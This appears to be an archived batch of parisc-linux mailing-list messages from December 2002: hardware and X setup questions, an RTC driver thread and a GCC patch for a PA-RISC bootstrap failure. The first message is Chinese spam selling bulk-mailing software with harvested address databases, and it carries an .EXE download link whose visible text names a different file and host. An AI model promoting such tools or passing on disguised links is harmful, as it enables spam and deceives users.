Date: Sat, 28 Dec 02 13:58:59 йʱʱ
Lines: 136
Approved: news@gmane.org
Message-ID: <20021228060120.3C1174829@dsl2.external.hp.com>
Reply-To: @dsl2.external.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
    boundary="----=_NextPart_000_0006_08AF000B.1A0D0022"
X-Trace: ger.gmane.org 1416622057 18988 80.91.229.3 (22 Nov 2014 02:07:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 27 23:01:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ojs-home (unknown [218.18.31.239])
	by dsl2.external.hp.com (Postfix) with SMTP id 3C1174829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Dec 2002 23:01:20 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17214

------=_NextPart_000_0006_08AF000B.1A0D0022
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0007_08AF000B.1A0D0022"


------=_NextPart_001_0007_08AF000B.1A0D0022
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: quoted-printable

óıʽдʼʹóıʽ


---------------------------
=C8=E7=B9=FB=D5=E2=B7=E2=D3=CA=BC=FE=B4=F2=C8=C5=C4=FA=C1=CB=A3=AC=B7=B3=C7=
=EB=CB=E6=CA=D6=C9=BE=B5=F4=A3=AC=B2=A2=C7=EB=BC=FB=C1=C2=A1=A3
=C8=F4=C4=FA=B2=BB=CF=A3=CD=FB=D4=D9=B4=CE=CA=D5=B5=BD=CE=D2=C3=C7=B5=C4=D3=
=CA=BC=FE=A3=AC=B7=B3=C7=EB=B7=C3=CE=CA=D2=D4=CF=C2=CD=F8=D6=B7=A3=BA
http://mailttttt.59i.net/DB_Agents/user_cancel.asp?id=3D3270&language=3Dgb=
2312




------=_NextPart_001_0007_08AF000B.1A0D0022
Content-Type: text/html; charset=gb2312
Content-Transfer-Encoding: quoted-printable


<html>
<head>
<title>=CE=DE=B1=EA=CC=E2=CE=C4=B5=B5</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dgb2312">=

</head>

<body bgcolor=3D"#FFFFFF" text=3D"#000000">
<table width=3D"680" border=3D"0" cellspacing=3D"3" cellpadding=3D"0" alig=
n=3D"center">
  <tr> 
    <td> 
      <table height=3D71 width=3D"100%" border=3D"1">
        <tbody> 
        <tr> 
          <td align=3Dmiddle width=3D"9%" height=3D"18"><b>=B6=D4=B1=C8</b=
></td>
          <td align=3Dmiddle width=3D"14%" height=3D"18"><font color=3D#00=
0080>=B5=E7=CA=D3</font></td>
          <td align=3Dmiddle width=3D"25%" height=3D"18"><font color=3D#00=
0080>=B1=A8=D6=BD=A3=A810=CD=F2=B7=A2=D0=D0=C1=BF=A3=A9</font></td>
          <td align=3Dmiddle width=3D"26%" height=3D"18"><font color=3D#00=
0080>=C6=D5=CD=A8=D0=C5=BC=FE=A3=A810=CD=F2=B7=E2=A3=A9</font></td>
          <td align=3Dmiddle width=3D"26%" height=3D"18"><font color=3D"#0=
00080">=C3=C0=B6=FB=CD=F8=C2=E7=D3=AA=CF=FA=D7=A8=BC=D2</font></td>
        </tr>
        <tr> 
          <td align=3Dmiddle width=3D"9%" height=3D"19"><font color=3D#000=
080>=BC=DB=B8=F1</font></td>
          <td align=3Dmiddle width=3D"14%" height=3D"19"><font color=3D#00=
0080>20=CD=F2=D4=AA=C6=F0</font></td>
          <td align=3Dmiddle width=3D"25%" height=3D"19"><font color=3D#00=
0080>3=CD=F2=D4=AA</font></td>
          <td align=3Dmiddle width=3D"26%" height=3D"19"><font color=3D#00=
0080>10=CD=F2=D4=AA</font></td>
          <td align=3Dmiddle width=3D"26%" height=3D"19"><font color=3D#00=
0080>=BD=F63860=D4=AA</font></td>
        </tr>
        <tr> 
          <td align=3Dmiddle width=3D"9%"><font color=3D#000080>=D0=A7=B9=FB=
</font></td>
          <td align=3Dmiddle width=3D"14%"><font color=3D#000080>=D2=BB=C9=
=C1=BC=B4=CA=C5</font></td>
          <td align=3Dmiddle width=3D"25%"><font color=3D#000080>=EE=A9=D2=
=BB=D1=DB</font></td>
          <td align=3Dmiddle width=3D"26%"><font color=3D#000080>=C8=D3=B5=
=F4</font></td>
          <td align=3Dmiddle width=3D"26%"><font color=3D"#000080">=D2=BB=B4=
=CE=CD=B6=C8=EB=D3=C0=BE=C3=D3=D0=D0=A7</font></td>
        </tr>
        </tbody> 
      </table>
    </td>
  </tr>
  <tr> 
    <td height=3D"91"> =A1=A1=A1=A1<font color=3D"#FF0000">=C3=C0=B6=FB=CD=
=F8=C2=E7=D3=AA=CF=FA=D7=A8=BC=D2</font>=CA=C7=D2=BB=BF=EE=D7=D4=B6=AF=CE=AA=
=C6=F3=D2=B5=B7=A2=B2=BC=D0=C5=CF=A2=B5=C4=C8=ED=BC=FE.=B1=BE=C8=ED=BC=FE=BC=
=AF=D0=C5=CF=A2=B7=A2=B2=BC=A1=A2=D0=C5=CF=A2=CB=D1=CB=F7=A1=A2=D3=CA=BC=FE=
=C8=BA=B7=A2=A1=A2=D3=CA=BC=FE=CB=D1=CB=F7=A1=A2=D2=FD=C7=E6=B5=C7=C2=BC=CE=
=AA=D2=BB=CC=E5.=CD=F8=C9=CF=D0=C5=CF=A2=B7=A2=B2=BC=CA=C7=C6=F3=D2=B5=D4=DA=
=CD=F8=C9=CF=BD=F8=D0=D0=D0=FB=B4=AB=B5=C4=D6=D8=D2=AA=CA=D6=B6=CE=A3=AC=C8=
=CE=BA=CE=B4=AB=CD=B3=B5=C4=D0=FB=B4=AB=B7=BD=B7=A8,=B6=BC=B2=BB=BC=B0=CD=F8=
=C2=E7=D0=C5=CF=A2=B7=A2=B2=BC=C4=C7=D1=F9=B3=C9=B1=BE=B5=CD=C1=AE=A1=A2=D3=
=D0=D0=A7.<br>
      =A1=A1=A1=A1=CF=D6=B4=FA=C6=F3=D2=B5=B5=C4=B3=C9=B9=A6=B1=D8=D0=EB=D2=
=C0=BF=BF=B9=FD=D3=B2=B5=C4=D6=CA=C1=BF=BA=CD=C7=BF=B4=F3=B5=C4=B9=E3=B8=E6=
=D6=A7=B3=D6.=B1=BE=C8=ED=BC=FE=BE=CD=CE=AA=C4=FA=B5=C4=C6=F3=D2=B5=BF=AA=B1=
=D9=C1=CB=D2=BB=CC=F5=CD=F8=C9=CF=D7=D4=B6=AF=B7=A2=B2=BC=B4=F3=C1=BF=D0=C5=
=CF=A2=B5=C4=BD=DD=BE=B6.=C4=FA=D6=BB=D0=E8=C6=F4=B6=AF=B1=BE=C8=ED=BC=FE,=BD=
=AB=C6=F3=D2=B5=B5=C4=CF=EA=CF=B8=D0=C5=CF=A2=B0=B4=D2=AA=C7=F3=CC=EE=D0=B4=
=D2=BB=B4=CE,=C7=E1=C7=E1=D2=BB=B5=E3=D0=C5=CF=A2=B1=E3=BB=E1=D7=D4=B6=AF=B7=
=A2=B2=BC=B5=BD=C9=CF=C7=A7=B8=F6=C9=CC=D2=B5=CD=F8=D5=BE=D6=D0=A1=A3<a hre=
f=3D"http://www.www999.com/ewww/index.asp" target=3D"_blank">=CF=EA=C7=E9=BD=
=F8=C8=EB</a></td>
  </tr>
  <tr>
    <td> =A1=A1=A1=A1<font color=3D"#FF0000">=C3=C0=B6=FB=CD=F8=C2=E7=D3=AA=
=CF=FA=D7=A8=BC=D2=C8=ED=BC=FE</font>+=C8=AB=B9=FA(9800=B6=E0=CD=F2)=D3=CA=D6=
=B7=D7=DC=BF=E2+=B9=FA=BC=CA(1000=B6=E0=CD=F2)=D3=CA=D6=B7=BF=E2=3D3860=D4=AA=
 
    </td>
  </tr>
  <tr> 
    <td height=3D"2">=A1=A1=A1=A1<font color=3D"#FF0000">=C3=C0=B6=FB=CD=F8=
=C2=E7=D3=AA=CF=FA=D7=A8=BC=D2=C8=ED=BC=FE</font>=C7=EB=CF=C2=D4=D8=CA=D4=D3=
=C3(4.5M)=A3=BA<a href=3D"http://www.www999.com/soft/merenet.EXE">http://be=
stemail.yeah.net/soft/etrain.zip</a></td>
  </tr>
</table>
<hr><table width=3D658 border=3D0><tr><td valign=3Dtop><p><font size=3D2 >=
=C8=E7=B9=FB=D5=E2=B7=E2=D3=CA=BC=FE=B4=F2=C8=C5=C4=FA=C1=CB=A3=AC=B7=B3=C7=
=EB=CB=E6=CA=D6=C9=BE=B5=F4=A3=AC=B2=A2=C7=EB=BC=FB=C1=C2=A1=A3<br>=C8=F4=C4=
=FA=B2=BB=CF=A3=CD=FB=D4=D9=B4=CE=CA=D5=B5=BD=CE=D2=C3=C7=B5=C4=D3=CA=BC=FE=
=A3=AC<a href=3Dhttp://mailttttt.59i.net/DB_Agents/user_cancel.asp?id=3D327=
0&language=3Dgb2312>=C7=EB=B5=E3=BB=F7=D5=E2=C0=EF</a></font></p></td></tr>=
</table></body>
</html>


------=_NextPart_001_0007_08AF000B.1A0D0022--



------=_NextPart_000_0006_08AF000B.1A0D0022--




From - Thu Nov 08 21:26:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Arne H. Poulsen" <arne.h.poulsen@post.tele.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian 3.0r0 Hppa on an B132L
Date: Sat, 28 Dec 2002 17:24:46 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <00b401c2ae8d$a36719e0$0101a8c0@basse>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622057 18991 80.91.229.3 (22 Nov 2014 02:07:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:37 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 28 09:22:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pfepa.post.tele.dk (pfepa.post.tele.dk [193.162.153.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0457C483B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Dec 2002 09:22:55 -0700 (MST)
Original-Received: from basse (0xc3d7ea69.odnxr5.ras.tele.dk [195.215.234.105])
	by pfepa.post.tele.dk (Postfix) with SMTP id DF2704801AB
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Dec 2002 17:22:47 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17215

Hellow!!!.

Gentlemen
I am new to this, but I have managed to install the system with the linux
2.4.18-pa32 kernel and it seems to be working; nevertheless It is impossible
to get the graphical
system to work.
Do I have to install the HIL keyboard and mouse??.
It is working with the PS/2 keyboard.
According to the xserverlog the system is unable to find the screen and the
graphical
interfase card and therefore It is not configured.
I have done which were specified in the HOWTO regarding the XF86Config-4
file,
but still I get the same answer.
The graphical interfase seems to be a part of the motherboard and I think It
is EG_something??
Are there any who has a good explanation???.
Thanks in advance.
Arne H.



From - Thu Nov 08 21:26:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic RTC driver in 2.4.x?
Date: Sat, 28 Dec 2002 23:37:03 +0100 (MET)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.21.0212282336010.17067-100000__45884.7221256748$1416622058$gmane$org@vervain.sonytel.be>
References: <20021226175529.GB6867@opus.bloom.county>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622058 19247 80.91.229.3 (22 Nov 2014 02:07:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:38 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@parisc-linux.org,
	Linux/PPC Development <linuxppc-dev@lists.linuxppc.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>
To: Tom Rini <trini@kernel.crashing.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 28 15:37:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.sonytel.be (mail2.sonytel.be [195.0.45.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id DEB4E4837
	for <parisc-linux@parisc-linux.org>; Sat, 28 Dec 2002 15:37:44 -0700 (MST)
Original-Received: from vervain.sonytel.be (mail.sonytel.be [10.17.0.26])
	by mail.sonytel.be (8.9.0/8.8.6) with ESMTP id XAA12503;
	Sat, 28 Dec 2002 23:37:03 +0100 (MET)
In-Reply-To: <20021226175529.GB6867@opus.bloom.county>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17216

On Thu, 26 Dec 2002, Tom Rini wrote:
> On Tue, Dec 24, 2002 at 03:51:47PM -0800, Randolph Chung wrote:
> > > AFAIK the generic RTC driver is used on PA-RISC, PPC, and m68k.
> > > 
> > > Are you interested in a backport to 2.4.x?
> > 
> > On parisc we already have a version of the generic RTC driver in our
> > 2.4 tree. If there's something more "official" or common we can adopt
> > that version. 
> 
> Similarly, PPC has had it's own 'generic' RTC driver in the kernel for
> ages, so there's no pressing need, but if the 2.5 version makes its way
> back into 2.4 (as the 2.5 version has some minor changes needed for
> everyone which weren't in the 2.4 m68k version), we can easily switch to
> that version.

I already merged some of your 2.5.x changes with the driver in the m68k 2.4.x
tree.

I'll do some more merges, and get back to you...

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds



From - Thu Nov 08 21:26:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc-3_3-branch] bootstrap failure on hppa-linux
Date: Sat, 28 Dec 2002 18:45:23 -0500
Lines: 82
Approved: news@gmane.org
Message-ID: <20021228234523.GA4443__43171.4338054464$1416622058$gmane$org@hiauly1.hia.nrc.ca>
References: <15884.48522.342368.76461@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622058 19249 80.91.229.3 (22 Nov 2014 02:07:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:38 +0000 (UTC)
Cc: gcc@gcc.gnu.org, parisc-linux@lists.parisc-linux.org,
	gcc-patches@gcc.gnu.org, John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 28 16:45:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAE754837
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Dec 2002 16:45:49 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBSNjOot004461;
	Sat, 28 Dec 2002 18:45:25 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBSNjNJJ004460;
	Sat, 28 Dec 2002 18:45:23 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <15884.48522.342368.76461@gargle.gargle.HOWL>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17217

> $ gcc-3.2    -g -DIN_GCC   -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wtraditional -pedantic -Wno-long-long -fno-common  -DHAVE_CONFIG_H -o cc1 c-parse.o c-lang.o c-pretty-print.o attribs.o c-errors.o c-lex.o c-pragma.o c-decl.o c-typeck.o c-convert.o c-aux-info.o c-common.o c-opts.o c-format.o c-semantics.o c-objc-common.o c-dump.o libcpp.a  main.o libbackend.a   ../libiberty/libiberty.a
> /usr/bin/ld: libbackend.a(expr.o)(.text+0x3f744): cannot reach 000002c9_$$dyncall+0, recompile with -ffunction-sections
> /usr/bin/ld: libbackend.a(expr.o)(.text+0x3f744): cannot handle R_PARISC_PCREL17F for $$dyncall

I confirmed the above problem and installed the enclosed patch on the 3.2
branch to correct it.  pa_output_function_prologue is changed so that the
total number of code bytes in the translation unit is accumulated on
hppa-linux except when doing function sections.  This is a backport of
a portion of a patch previously installed on the main.

Tested on hppa-unknown-linux-gnu.  I also checked that the main will bootstrap
using gcc-3.2.

Dave

2002-12-28  John David Anglin  <dave.anglin@nrc.ca>

	* pa.h (TARGET_SOM): Define if not defined.
	* som.h (OBJ_SOM): Rename to TARGET_SOM.
	* pa.c (pa_output_function_prologue): Don't accumulate the total code
	bytes in the translation unit when using gas, som and not the portable
	runtime, or when using function sections.

Index: config/pa/pa.h
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/pa.h,v
retrieving revision 1.138.2.7.2.1
diff -u -3 -p -r1.138.2.7.2.1 pa.h
--- config/pa/pa.h	12 Dec 2002 22:37:08 -0000	1.138.2.7.2.1
+++ config/pa/pa.h	27 Dec 2002 22:48:57 -0000
@@ -159,6 +159,11 @@ extern int target_flags;
 #define TARGET_ELF32 0
 #endif
 
+/* Generate code for SOM ABI.  */
+#ifndef TARGET_SOM
+#define TARGET_SOM 0
+#endif
+
 /* Macro to define tables used to set the flags.
    This is a list in braces of pairs in braces,
    each pair being { "NAME", VALUE }
Index: config/pa/som.h
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/som.h,v
retrieving revision 1.31.2.1
diff -u -3 -p -r1.31.2.1 som.h
--- config/pa/som.h	6 Mar 2002 05:20:29 -0000	1.31.2.1
+++ config/pa/som.h	27 Dec 2002 22:48:57 -0000
@@ -19,7 +19,8 @@ the Free Software Foundation, 59 Temple 
 Boston, MA 02111-1307, USA.  */
 
 /* So we can conditionalize small amounts of code in pa.c or pa.md.  */
-#define OBJ_SOM
+#undef TARGET_SOM
+#define TARGET_SOM 1
 
 /* We do not use BINCL stabs in SOM.
    ??? If it does not hurt, we probably should to avoid useless divergence
Index: config/pa/pa.c
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/pa.c,v
retrieving revision 1.148.2.7
diff -u -3 -p -r1.148.2.7 pa.c
--- config/pa/pa.c	11 Jul 2002 18:22:02 -0000	1.148.2.7
+++ config/pa/pa.c	27 Dec 2002 22:48:57 -0000
@@ -3078,9 +3078,11 @@ pa_output_function_prologue (file, size)
 
   fputs ("\n\t.ENTRY\n", file);
 
-  /* If we're using GAS and not using the portable runtime model, then
-     we don't need to accumulate the total number of code bytes.  */
-  if (TARGET_GAS && ! TARGET_PORTABLE_RUNTIME)
+  /* If we're using GAS, SOM and not the portable runtime model, or if
+     we're using function sections, then we don't need to accumulate the
+     total number of code bytes in the translation unit.  */
+  if ((TARGET_GAS && TARGET_SOM && !TARGET_PORTABLE_RUNTIME)
+      || flag_function_sections)
     total_code_bytes = 0;
   else if (INSN_ADDRESSES_SET_P ())
     {


From - Thu Nov 08 21:26:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian 3.0r0 Hppa on an B132L
Date: Sun, 29 Dec 2002 15:31:34 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <3E0F1556.3030402@freebel.net>
References: <00b401c2ae8d$a36719e0$0101a8c0@basse>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622058 19252 80.91.229.3 (22 Nov 2014 02:07:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Arne H. Poulsen" <arne.h.poulsen@post.tele.dk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 29 07:23:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 919224837
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Dec 2002 07:23:19 -0700 (MST)
Original-Received: from [62.235.173.2] (helo=freebel.net)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18SeLO-0000Xn-00; Sun, 29 Dec 2002 15:23:10 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021225 Debian/1.2.1-8
In-Reply-To: <00b401c2ae8d$a36719e0$0101a8c0@basse>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17218


Arne H. Poulsen wrote:
> Hellow!!!.
> 
> Gentlemen
> I am new to this, but I have managed to install the system with the linux
> 2.4.18-pa32 kernel and it seems to be working; nevertheless It is impossible
> to get the graphical
> system to work.
> Do I have to install the HIL keyboard and mouse??.

No (there are kbd and mouse of ps2 model)

> It is working with the PS/2 keyboard.
> According to the xserverlog the system is unable to find the screen and the
> graphical
> interfase card and therefore It is not configured.
> I have done which were specified in the HOWTO regarding the XF86Config-4
> file,
> but still I get the same answer.

Which HOWTO?

> The graphical interfase seems to be a part of the motherboard and I think It
> is EG_something??
> Are there any who has a good explanation???.

If you already installed a XF86Config-4 which you can find on 
ftp.parisc-linux.org, check first if your graphic card is the buildin 
one. Then check if the default "Display Mode" match well the setup of 
your console (you can check at bootprompt> console) [on hppa the FB 
driver doesn't allow switching]

Good luck,
	Joel




From - Thu Nov 08 21:26:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mark R. Buechler" <mgandalf@mentasm.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A3308 fibre SCSI bridge support
Date: 29 Dec 2002 16:02:38 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <1041195758.2916.30.camel@pc1.mentasm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622059 19257 80.91.229.3 (22 Nov 2014 02:07:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 29 14:02:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mentasm.com (unknown [66.133.147.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFADB4852
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Dec 2002 14:02:47 -0700 (MST)
Original-Received: from pc1.mentasm.com (pc1.mentasm.com [192.168.1.11])
	by mentasm.com (8.9.3/8.9.2) with ESMTP id QAA36527
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Dec 2002 16:02:38 -0500 (EST)
	(envelope-from mgandalf@mentasm.com)
X-Mailer: Ximian Evolution 1.2.0 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17219

